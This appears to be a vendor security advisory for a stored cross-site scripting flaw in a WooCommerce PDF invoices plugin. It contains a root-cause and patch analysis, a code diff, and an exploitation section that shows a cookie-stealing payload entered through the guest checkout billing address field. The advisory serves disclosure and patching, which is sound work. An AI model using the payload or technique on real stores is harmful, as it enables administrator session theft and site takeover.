Published : November 27, 2026

CVE-2026-137122: PDF Invoices & Packing Slips for WooCommerce <= 6.0.0 Unauthenticated Stored Cross-Site Scripting via Billing Address PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 6.0.0
Patched Version 6.0.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137122:

The PDF Invoices & Packing Slips for WooCommerce plugin (versions up to and including 6.0.0) contains a stored cross-site scripting vulnerability in the billing address handling within the E-Documents feature. An unauthenticated attacker can inject arbitrary JavaScript into the billing_address.address_1 field, which later executes in the context of an administrator’s browser when viewing the order edit screen with the E-Documents meta box rendered. The CVSS score is 7.2 (High).

Root Cause:

The root cause is insufficient output escaping when rendering the billing address in the E-Documents meta box. In the diff, the vulnerable code in includes/Admin.php (around line 2295) used `echo wp_kses_post( $display );` to output the address value. While wp_kses_post allows some HTML, it does not prevent JavaScript execution via attributes or other vectors. The patched version replaces this with `echo $value ? esc_html( $value ) : wp_kses_post( $fallback_span );`. This ensures that when a value exists, it is escaped with esc_html(), preventing any HTML or script injection. The same pattern appears in multiple locations within the meta box rendering logic. Additionally, the patch updates many title output functions in includes/Documents/OrderDocument.php and includes/Documents/OrderDocumentMethods.php to use wpo_wcpdf_sanitize_html_content() instead of esc_html(), but that is unrelated to this specific CVE. The vulnerability is triggered because the billing address data (including address_1) is stored without proper sanitization and then rendered without adequate escaping in the admin meta box.

Exploitation:

An unauthenticated attacker can exploit this by submitting a crafted order through the WooCommerce checkout process, injecting a malicious payload into the billing_address.address_1 field. For example, the attacker could use a payload like `”>alert(document.cookie)` or a more sophisticated script that steals cookies or performs actions on behalf of the administrator. Since the checkout is typically accessible to unauthenticated users (guest checkout), the attacker can place an order with the malicious address. When an administrator later views the order edit screen in the WordPress admin (with the E-Documents feature enabled and a document format selected), the script executes. The exact endpoint is the WooCommerce checkout form submission, with the parameter `billing_address_1` (or the appropriate billing address field name). The meta box is rendered on the order edit screen at `/wp-admin/post.php?post=ORDER_ID&action=edit` for legacy post types or `/wp-admin/admin.php?page=wc-orders&action=edit&id=ORDER_ID` for HPOS.

Patch Analysis:

The patch modifies includes/Admin.php to properly escape the address value when rendering. Before the patch, the code assigned the value to `$display` and then echoed it with `wp_kses_post( $display )`. After the patch, the code separates the value from the fallback span and uses `esc_html( $value )` when a value exists. This ensures that any HTML special characters in the address are converted to entities, preventing script execution. The patch also includes other unrelated changes, such as adding a notice for HPOS full-text search and adjusting EDI handlers. However, the key security fix is the proper escaping in the meta box rendering. The patch also updates several title output functions to use a custom sanitization function, but those are not directly related to this CVE.

Impact:

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator. This can lead to session hijacking, theft of sensitive information (such as cookies or nonces), privilege escalation (by creating new admin users), or full site compromise. The attacker can also perform actions on behalf of the administrator, such as installing malicious plugins or modifying site settings. Since the vulnerability is stored and triggered when an admin views the order, it can be used for targeted attacks against site administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woocommerce-pdf-invoices-packing-slips/edi/Abstracts/AbstractHandler.php
+++ b/woocommerce-pdf-invoices-packing-slips/edi/Abstracts/AbstractHandler.php
@@ -835,6 +835,7 @@
 	 */
 	protected function get_item_tax_candidates( WC_Order_Item $item ): array {
 		$candidates = array();
+		$zero_meta  = $this->get_preferred_zero_tax_meta( $item );

 		foreach ( $this->get_item_tax_rows( $item ) as $tax_id => $tax_amt ) {
 			if ( ! is_numeric( $tax_amt ) ) {
@@ -843,12 +844,31 @@

 			$row = $this->document->order_tax_data[ $tax_id ] ?? array();

+			$scheme     = strtoupper( trim( (string) ( $row['scheme'] ?? 'VAT' ) ) );
+			$category   = strtoupper( trim( (string) ( $row['category'] ?? 'Z' ) ) );
+			$percentage = (float) ( $row['percentage'] ?? 0 );
+			$reason     = strtoupper( trim( (string) ( $row['reason'] ?? 'NONE' ) ) );
+
+			if ( '' === $scheme || 'DEFAULT' === $scheme ) {
+				$scheme = 'VAT';
+			}
+
+			if ( '' === $category || 'DEFAULT' === $category ) {
+				$category = ( 0.0 < $percentage ) ? 'S' : $zero_meta['category'];
+			}
+
+			if ( '' === $reason || 'DEFAULT' === $reason || 'NONE' === $reason ) {
+				$reason = ( 0.0 === $percentage && $category === $zero_meta['category'] && $scheme === $zero_meta['scheme'] )
+					? $zero_meta['reason']
+					: 'NONE';
+			}
+
 			$candidates[] = array(
 				'tax_id'     => $tax_id,
-				'scheme'     => strtoupper( $row['scheme']   ?? 'VAT' ),
-				'category'   => strtoupper( $row['category'] ?? 'Z' ),
-				'percentage' => (float) ( $row['percentage'] ?? 0 ),
-				'reason'     => strtoupper( $row['reason']   ?? 'NONE' ),
+				'scheme'     => $scheme,
+				'category'   => $category,
+				'percentage' => $percentage,
+				'reason'     => $reason,
 				'tax_amount' => (float) $tax_amt,
 			);
 		}
--- a/woocommerce-pdf-invoices-packing-slips/edi/IdentifierMappings.php
+++ b/woocommerce-pdf-invoices-packing-slips/edi/IdentifierMappings.php
@@ -57,8 +57,11 @@
 					),
 					'registration_number' => array(
 						array(
-							'icd'   => '0208',
-							'label' => __( 'Enterprise number', 'woocommerce-pdf-invoices-packing-slips' ),
+							'icd'            => '0208',
+							'label'          => __( 'Enterprise number', 'woocommerce-pdf-invoices-packing-slips' ),
+							'strip_prefixes' => array( 'BE' ),
+							'keep_pattern'   => '/d+/',
+							'length'         => 10,
 						),
 					),
 				),
@@ -378,8 +381,11 @@
 					),
 					'registration_number' => array(
 						array(
-							'icd'   => '0106',
-							'label' => __( 'KVK number', 'woocommerce-pdf-invoices-packing-slips' ),
+							'icd'            => '0106',
+							'label'          => __( 'KVK number', 'woocommerce-pdf-invoices-packing-slips' ),
+							'strip_prefixes' => array( 'NL' ),
+							'keep_pattern'   => '/d+/',
+							'length'         => 8,
 						),
 					),
 				),
@@ -397,8 +403,11 @@
 					),
 					'registration_number' => array(
 						array(
-							'icd'   => '0192',
-							'label' => __( 'Organisasjonsnummer', 'woocommerce-pdf-invoices-packing-slips' ),
+							'icd'            => '0192',
+							'label'          => __( 'Organisasjonsnummer', 'woocommerce-pdf-invoices-packing-slips' ),
+							'strip_prefixes' => array( 'NO' ),
+							'keep_pattern'   => '/d+/',
+							'length'         => 9,
 						),
 					),
 				),
@@ -458,8 +467,11 @@
 					),
 					'registration_number' => array(
 						array(
-							'icd'   => '0007',
-							'label' => __( 'Organisationsnummer', 'woocommerce-pdf-invoices-packing-slips' ),
+							'icd'            => '0007',
+							'label'          => __( 'Organisationsnummer', 'woocommerce-pdf-invoices-packing-slips' ),
+							'strip_prefixes' => array( 'SE' ),
+							'keep_pattern'   => '/d+/',
+							'length'         => 10,
 						),
 					),
 				),
--- a/woocommerce-pdf-invoices-packing-slips/edi/Syntaxes/Cii/Handlers/SupplyChainTradeTransaction/ApplicableHeaderTradeSettlementHandler.php
+++ b/woocommerce-pdf-invoices-packing-slips/edi/Syntaxes/Cii/Handlers/SupplyChainTradeTransaction/ApplicableHeaderTradeSettlementHandler.php
@@ -331,22 +331,11 @@
 						'currencyID' => $currency,
 					),
 				),
-				array(
-					'name'  => 'ram:GrandTotalAmount',
-					'value' => $this->format_decimal( $totals['total_inc_tax'] ),
-				),
 			),
 		);

-		// Only output TotalPrepaidAmount when there is an actual prepayment.
-		if ( $totals['prepaid_amount'] > 0 ) {
-			$monetary_summation['value'][] = array(
-				'name'  => 'ram:TotalPrepaidAmount',
-				'value' => $this->format_decimal( $totals['prepaid_amount'] ),
-			);
-		}
-
 		// Only include RoundingAmount when materially non-zero.
+		// CII D16B requires it between TaxTotalAmount and GrandTotalAmount.
 		if ( abs( $totals['rounding_diff'] ) >= 0.01 ) {
 			$monetary_summation['value'][] = array(
 				'name'  => 'ram:RoundingAmount',
@@ -354,6 +343,19 @@
 			);
 		}

+		$monetary_summation['value'][] = array(
+			'name'  => 'ram:GrandTotalAmount',
+			'value' => $this->format_decimal( $totals['total_inc_tax'] ),
+		);
+
+		// Only output TotalPrepaidAmount when there is an actual prepayment.
+		if ( $totals['prepaid_amount'] > 0 ) {
+			$monetary_summation['value'][] = array(
+				'name'  => 'ram:TotalPrepaidAmount',
+				'value' => $this->format_decimal( $totals['prepaid_amount'] ),
+			);
+		}
+
 		$monetary_summation['value'][] = array(
 			'name'  => 'ram:DuePayableAmount',
 			'value' => $this->format_decimal( $totals['payable_amount'] ),
--- a/woocommerce-pdf-invoices-packing-slips/includes/Admin.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Admin.php
@@ -43,6 +43,7 @@
 		add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ), 10, 2 );
 		add_filter( 'request', array( $this, 'request_query_sort_by_column' ) );
 		add_action( 'admin_bar_menu', array( $this, 'debug_enabled_warning' ), 999 );
+		add_action( 'admin_notices', array( $this, 'invoice_number_search_fts_notice' ) );

 		// Woo
 		add_filter( 'manage_woocommerce_page_wc-orders_columns', array( $this, 'add_invoice_columns' ), 200 ); // WC 7.1+ (we lowered the priority to 200 to make sure it works with Admin Columns plugin: https://www.admincolumns.com/)
@@ -55,9 +56,6 @@
 		add_filter( 'bulk_actions-woocommerce_page_wc-orders', array( $this, 'bulk_actions' ), 20 ); // WC 7.1+
 		add_filter( 'woocommerce_order_table_search_query_meta_keys', array( $this, 'search_fields' ) ); // HPOS specific filter
 		add_filter( 'woocommerce_shop_order_search_fields', array( $this, 'search_fields' ) );
-		add_filter( 'woocommerce_rest_prepare_report_orders', array( $this, 'add_invoice_number_to_order_report' ) );
-		add_filter( 'woocommerce_report_orders_export_columns', array( $this, 'add_invoice_number_header_to_order_export' ) );
-		add_filter( 'woocommerce_report_orders_prepare_export_item', array( $this, 'add_invoice_number_value_to_order_export' ), 10, 2 );
 		add_action( 'manage_woocommerce_page_wc-orders_custom_column', array( $this, 'invoice_columns_data' ), 10, 2 ); // WC 7.1+
 		add_action( 'woocommerce_admin_order_actions_end', array( $this, 'add_listing_actions' ) );
 		add_action( 'manage_shop_order_posts_custom_column', array( $this, 'invoice_columns_data' ), 10, 2 );
@@ -84,7 +82,7 @@
 	 * @return void
 	 */
 	public function setup_wizard(): void {
-		if ( ! empty( $_GET['page'] ) && 'wpo-wcpdf-setup' === $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( ! empty( $_GET['page'] ) && 'wpo-wcpdf-setup' === $_GET['page'] && WPO_WCPDF()->get_instance( 'settings' )->user_can_manage_settings() ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			delete_transient( 'wpo_wcpdf_new_install' );
 			WPO_WCPDF()->get_instance( 'setup_wizard' );
 		}
@@ -376,6 +374,67 @@
 		return isset( $invoice_settings[ $setting_key ] );
 	}

+	/**
+	 * Check if HPOS is in use and its full-text search index is enabled.
+	 *
+	 * While the index is enabled, WooCommerce does not search order meta (so also not the invoice
+	 * number keys added through 'woocommerce_order_table_search_query_meta_keys') for the "All"
+	 * and "Customers" order search filters; the "Invoice numbers" filter remains available instead.
+	 *
+	 * @return bool
+	 */
+	public function hpos_fulltext_search_enabled(): bool {
+		if ( ! WPO_WCPDF()->get_instance( 'order_util' )->custom_orders_table_usage_is_enabled() ) {
+			return false;
+		}
+
+		// Option names match CustomOrdersTableController::HPOS_FTS_INDEX_OPTION and
+		// HPOS_FTS_ADDRESS_INDEX_CREATED_OPTION (WooCommerce 9.0+); literals are used so older
+		// WooCommerce versions without that class keep working.
+		return 'yes' === get_option( 'woocommerce_hpos_fts_index_enabled' )
+			&& 'yes' === get_option( 'woocommerce_hpos_address_fts_index_created' );
+	}
+
+	/**
+	 * Show a notice on the orders list when a search with the "All" filter cannot match invoice
+	 * numbers because the HPOS full-text search index is enabled.
+	 *
+	 * @return void
+	 */
+	public function invoice_number_search_fts_notice(): void {
+		if ( ! $this->invoice_number_search_enabled() || ! $this->hpos_fulltext_search_enabled() ) {
+			return;
+		}
+
+		global $pagenow;
+		$page = isset( $_GET['page'] ) ? sanitize_key( wp_unslash( $_GET['page'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only display check.
+		if ( ! ( 'admin.php' === $pagenow && 'wc-orders' === $page ) ) {
+			return;
+		}
+
+		$search = isset( $_GET['s'] ) ? sanitize_text_field( wp_unslash( $_GET['s'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only display check.
+		// The orders list table submits the search filter as the hyphenated 'search-filter' request var
+		// (mapped to the 'search_filter' query arg internally by WooCommerce).
+		$search_filter = isset( $_GET['search-filter'] ) ? sanitize_key( wp_unslash( $_GET['search-filter'] ) ) : 'all'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only display check.
+		if ( '' === $search || ! in_array( $search_filter, array( 'all', '' ), true ) ) {
+			return;
+		}
+
+		$url = add_query_arg(
+			array(
+				'page'          => 'wc-orders',
+				's'             => $search,
+				'search-filter' => 'invoice_numbers',
+			),
+			admin_url( 'admin.php' )
+		);
+
+		echo '<div class="notice notice-info is-dismissible"><p>';
+		echo esc_html__( 'The "All" search option does not include invoice numbers while the WooCommerce HPOS full-text search index is enabled.', 'woocommerce-pdf-invoices-packing-slips' );
+		echo ' <a href="' . esc_url( $url ) . '">' . esc_html__( 'Search with the "Invoice numbers" option instead', 'woocommerce-pdf-invoices-packing-slips' ) . '</a>';
+		echo '</p></div>';
+	}
+

 	/**
 	 * Makes invoice columns sortable
@@ -427,11 +486,11 @@
 	/**
 	 * Add the meta boxes on the single order page
 	 *
-	 * @param string $wc_screen_id        Can be also $post_type
-	 * @param WC_Abstract_Order|WP_Post $post_or_order_object
+	 * @param string $wc_screen_id             Can be also $post_type
+	 * @param WC_Abstract_Order|WP_Post|null $post_or_order_object
 	 * @return void
 	 */
-	public function add_meta_boxes( string $wc_screen_id, object $post_or_order_object ): void {
+	public function add_meta_boxes( string $wc_screen_id, ?object $post_or_order_object ): void {
 		if ( WPO_WCPDF()->get_instance( 'order_util' )->custom_orders_table_usage_is_enabled() ) {
 			$screen_id = wc_get_page_screen_id( 'shop-order' );
 		} else {
@@ -2025,48 +2084,6 @@
 	}

 	/**
-	 * Add invoice number to the order report response.
-	 *
-	 * @param WP_REST_Response $response The REST API response object.
-	 * @return WP_REST_Response Modified REST API response object with invoice number included.
-	 */
-	public function add_invoice_number_to_order_report( WP_REST_Response $response ): WP_REST_Response {
-		$order = wc_get_order( $response->data['order_id'] );
-		if ( ! empty( $order ) ) {
-			$response->data['invoice_number'] = $order->get_meta( '_wcpdf_invoice_number' );
-		}
-
-		return $response;
-	}
-
-	/**
-	 * Add invoice number header to the order export columns.
-	 *
-	 * @param array $export_columns The existing export columns.
-	 * @return array Modified export columns with invoice number header included.
-	 */
-	public function add_invoice_number_header_to_order_export( array $export_columns ): array {
-		$export_columns['invoice_number'] = __( 'Invoice Number', 'woocommerce-pdf-invoices-packing-slips' );
-
-		return $export_columns;
-	}
-
-	/**
-	 * Add invoice number value to the order export data.
-	 *
-	 * @param array $export_item The existing export item data.
-	 * @param array $item The original item data containing the order information.
-	 * @return array Modified export item data with invoice number included.
-	 */
-	public function add_invoice_number_value_to_order_export( array $export_item, array $item ): array {
-		if ( ! empty( $item['invoice_number'] ) ) {
-			$export_item['invoice_number'] = $item['invoice_number'];
-		}
-
-		return $export_item;
-	}
-
-	/**
 	 * Add invoice date and number columns to the sortable columns in the admin order list.
 	 *
 	 * @param array $columns The existing sortable columns.
@@ -2295,9 +2312,9 @@
 									continue;
 								}

-								$value    = $identifier['value'];
-								$required = $identifier['required'];
-								$display  = $value ?: sprintf(
+								$value         = $identifier['value'];
+								$required      = $identifier['required'];
+								$fallback_span = sprintf(
 									'<span class="%s">%s</span>',
 									$required
 										? 'missing'
@@ -2312,7 +2329,7 @@
 									<td><?php echo esc_html( $identifier['label'] ); ?></td>
 								<?php endif; ?>
 									<td>
-										<?php echo wp_kses_post( $display ); ?>
+										<?php echo $value ? esc_html( $value ) : wp_kses_post( $fallback_span ); ?>
 									</td>
 								</tr>
 								<?php
@@ -2327,10 +2344,10 @@
 										continue;
 									}

-									$identifier = $identifiers_data[ $identifier_key ];
-									$value      = $identifier['value'];
-									$required   = $identifier['required'];
-									$display    = $value ?: sprintf(
+									$identifier    = $identifiers_data[ $identifier_key ];
+									$value         = $identifier['value'];
+									$required      = $identifier['required'];
+									$fallback_span = sprintf(
 										'<span class="%s">%s</span>',
 										$required
 											? 'missing'
@@ -2345,7 +2362,7 @@
 										<td><?php echo esc_html( $identifier['label'] ); ?></td>
 									<?php endif; ?>
 									<td>
-										<?php echo wp_kses_post( $display ); ?>
+										<?php echo $value ? esc_html( $value ) : wp_kses_post( $fallback_span ); ?>

 										<?php if ( 'vat_number' === $identifier_key && ! empty( $value ) && ! wpo_ips_edi_vat_number_has_country_prefix( $value ) ) : ?>
 											<br>
@@ -2374,9 +2391,9 @@
 						<tbody>
 							<?php
 								foreach ( $peppol_identifiers as $key => $identifier ) {
-									$value    = $identifier['value'];
-									$required = $identifier['required'];
-									$display  = $value ?: sprintf(
+									$value         = $identifier['value'];
+									$required      = $identifier['required'];
+									$fallback_span = sprintf(
 										'<span style="color:%s">%s</span>',
 										$required
 											? '#d63638'
@@ -2388,7 +2405,7 @@
 									?>
 									<tr>
 										<td><?php echo esc_html( $identifier['label'] ); ?></td>
-										<td class="display"><?php echo wp_kses_post( $display ); ?></td>
+										<td class="display"><?php echo $value ? esc_html( $value ) : wp_kses_post( $fallback_span ); ?></td>
 										<td class="edit">
 											<input type="text" name="<?php echo esc_attr( $key ); ?>" value="<?php echo esc_attr( $value ); ?>">
 										</td>
--- a/woocommerce-pdf-invoices-packing-slips/includes/Compatibility/ThirdPartyPlugins.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Compatibility/ThirdPartyPlugins.php
@@ -90,16 +90,18 @@
 			$documents_meta  = array_merge( $documents_meta, $document_meta );
 		}

+		// The old deprecated hook (`wcs_renewal_order_meta`) sends $meta with this data structure: array(... , array( "meta_key":"_wcpdf_invoice_number","meta_value":"158" ), ...)
+		// The new hook (`wc_subscriptions_renewal_order_data`) sends $meta with this data structure: array(... ,"_wcpdf_invoice_number":"158", ...)
+		// With the new hook, values can be arrays too (e.g. unserialized `_wcpdf_invoice_number_data` under HPOS), so the format must be detected from the hook, not from the value type.
+		$legacy_format = in_array( current_filter(), array( 'wcs_renewal_order_meta', 'wcs_resubscribe_order_meta' ), true );
+
 		foreach ( $meta as $key => $value ) {
-			// The old deprecated hook (`wcs_renewal_order_meta`) sends $meta with this data structure: array(... , array( "meta_key":"_wcpdf_invoice_number","meta_value":"158" ), ...)
-			// The new hook (`wc_subscriptions_renewal_order_data`) sends $meta with this data structure: array(... ,"_wcpdf_invoice_number":"158", ...)
-			$meta_key = is_array( $value ) ? ( $value['meta_key'] ?? null ) : $key;
+			$meta_key = $legacy_format ? ( is_array( $value ) ? ( $value['meta_key'] ?? null ) : null ) : $key;
 			if ( in_array( $meta_key, $documents_meta, true ) ) {
 				unset( $meta[ $key ] );
 			}
 		}

-		$legacy_format = in_array( current_filter(), array( 'wcs_renewal_order_meta', 'wcs_resubscribe_order_meta' ), true );
 		$set_meta = static function ( string $key, $value ) use ( &$meta, $legacy_format ): void {
 			if ( ! $legacy_format ) {
 				$meta[ $key ] = $value;
--- a/woocommerce-pdf-invoices-packing-slips/includes/Documents/Invoice.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Documents/Invoice.php
@@ -255,6 +255,11 @@
 	 * @return array
 	 */
 	public function get_pdf_settings_fields( string $option_name ): array {
+		$invoice_number_search_description = __( 'Enables searching orders by invoice number. On HPOS stores, this adds an "Invoice numbers" option to the order search type selector and supports searching multiple invoice numbers using a comma-separated list. The search process may be slower on non-HPOS stores.', 'woocommerce-pdf-invoices-packing-slips' );
+		if ( WPO_WCPDF()->get_instance( 'admin' )->hpos_fulltext_search_enabled() ) {
+			$invoice_number_search_description .= ' <strong>' . __( 'Note: while the HPOS full-text search index is enabled, the "All" option in the orders list search does not match invoice numbers. Use the "Invoice numbers" option instead.', 'woocommerce-pdf-invoices-packing-slips' ) . '</strong>';
+		}
+
 		$settings_fields = array(
 			array(
 				'type'     => 'section',
@@ -567,7 +572,7 @@
 				'args'     => array(
 					'option_name' => $option_name,
 					'id'          => 'invoice_number_search',
-					'description' => __( 'Enables searching orders by invoice number. On HPOS stores, this adds an "Invoice numbers" option to the order search type selector and supports searching multiple invoice numbers using a comma-separated list. The search process may be slower on non-HPOS stores.', 'woocommerce-pdf-invoices-packing-slips' ),
+					'description' => $invoice_number_search_description,
 				)
 			),
 			array(
--- a/woocommerce-pdf-invoices-packing-slips/includes/Documents/OrderDocument.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Documents/OrderDocument.php
@@ -874,7 +874,7 @@
 	 * @return void
 	 */
 	public function title(): void {
-		echo esc_html( $this->get_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -892,7 +892,7 @@
 	 * @return void
 	 */
 	public function plural_title(): void {
-		echo esc_html( $this->get_plural_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_plural_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -910,7 +910,7 @@
 	 * @return void
 	 */
 	public function number_title(): void {
-		echo esc_html( $this->get_number_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_number_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -928,7 +928,7 @@
 	 * @return void
 	 */
 	public function date_title(): void {
-		echo esc_html( $this->get_date_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_date_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -946,7 +946,7 @@
 	 * @return void
 	 */
 	public function due_date_title(): void {
-		echo esc_html( $this->get_due_date_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_due_date_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -964,7 +964,7 @@
 	 * @return void
 	 */
 	public function billing_address_title(): void {
-		echo esc_html( $this->get_billing_address_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_billing_address_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -982,7 +982,7 @@
 	 * @return void
 	 */
 	public function shipping_address_title(): void {
-		echo esc_html( $this->get_shipping_address_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shipping_address_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1000,7 +1000,7 @@
 	 * @return void
 	 */
 	public function order_number_title(): void {
-		echo esc_html( $this->get_order_number_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_order_number_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1018,7 +1018,7 @@
 	 * @return void
 	 */
 	public function order_date_title(): void {
-		echo esc_html( $this->get_order_date_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_order_date_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1036,7 +1036,7 @@
 	 * @return void
 	 */
 	public function payment_method_title(): void {
-		echo esc_html( $this->get_payment_method_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_payment_method_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1054,7 +1054,7 @@
 	 * @return void
 	 */
 	public function payment_date_title(): void {
-		echo esc_html( $this->get_payment_date_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_payment_date_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1072,7 +1072,7 @@
 	 * @return void
 	 */
 	public function shipping_method_title(): void {
-		echo esc_html( $this->get_shipping_method_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shipping_method_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1090,7 +1090,7 @@
 	 * @return void
 	 */
 	public function sku_title(): void {
-		echo esc_html( $this->get_sku_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_sku_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1108,7 +1108,7 @@
 	 * @return void
 	 */
 	public function weight_title(): void {
-		echo esc_html( $this->get_weight_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_weight_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1126,7 +1126,7 @@
 	 * @return void
 	 */
 	public function notes_title(): void {
-		echo esc_html( $this->get_notes_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_notes_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1144,7 +1144,7 @@
 	 * @return void
 	 */
 	public function customer_notes_title(): void {
-		echo esc_html( $this->get_customer_notes_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_customer_notes_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1678,7 +1678,7 @@
 	 * @return void
 	 */
 	public function shop_name(): void {
-		echo esc_html( $this->get_shop_name() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_name(), 'shop_name' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1732,7 +1732,7 @@
 	 * @return void
 	 */
 	public function shop_address_line_1(): void {
-		echo esc_html( $this->get_shop_address_line_1() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_address_line_1(), 'address' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1750,7 +1750,7 @@
 	 * @return void
 	 */
 	public function shop_address_line_2(): void {
-		echo esc_html( $this->get_shop_address_line_2() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_address_line_2(), 'address' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1768,7 +1768,7 @@
 	 * @return void
 	 */
 	public function shop_address_country(): void {
-		echo esc_html( $this->get_shop_address_country() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_address_country(), 'address' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1786,7 +1786,7 @@
 	 * @return void
 	 */
 	public function shop_address_country_code(): void {
-		echo esc_html( $this->get_shop_address_country_code() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_address_country_code(), 'address' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1804,7 +1804,7 @@
 	 * @return void
 	 */
 	public function shop_address_state(): void {
-		echo esc_html( $this->get_shop_address_state() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_address_state(), 'address' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1822,7 +1822,7 @@
 	 * @return void
 	 */
 	public function shop_address_city(): void {
-		echo esc_html( $this->get_shop_address_city() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_address_city(), 'address' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1840,7 +1840,7 @@
 	 * @return void
 	 */
 	public function shop_address_postcode(): void {
-		echo esc_html( $this->get_shop_address_postcode() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_shop_address_postcode(), 'address' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
--- a/woocommerce-pdf-invoices-packing-slips/includes/Documents/OrderDocumentMethods.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Documents/OrderDocumentMethods.php
@@ -915,7 +915,7 @@
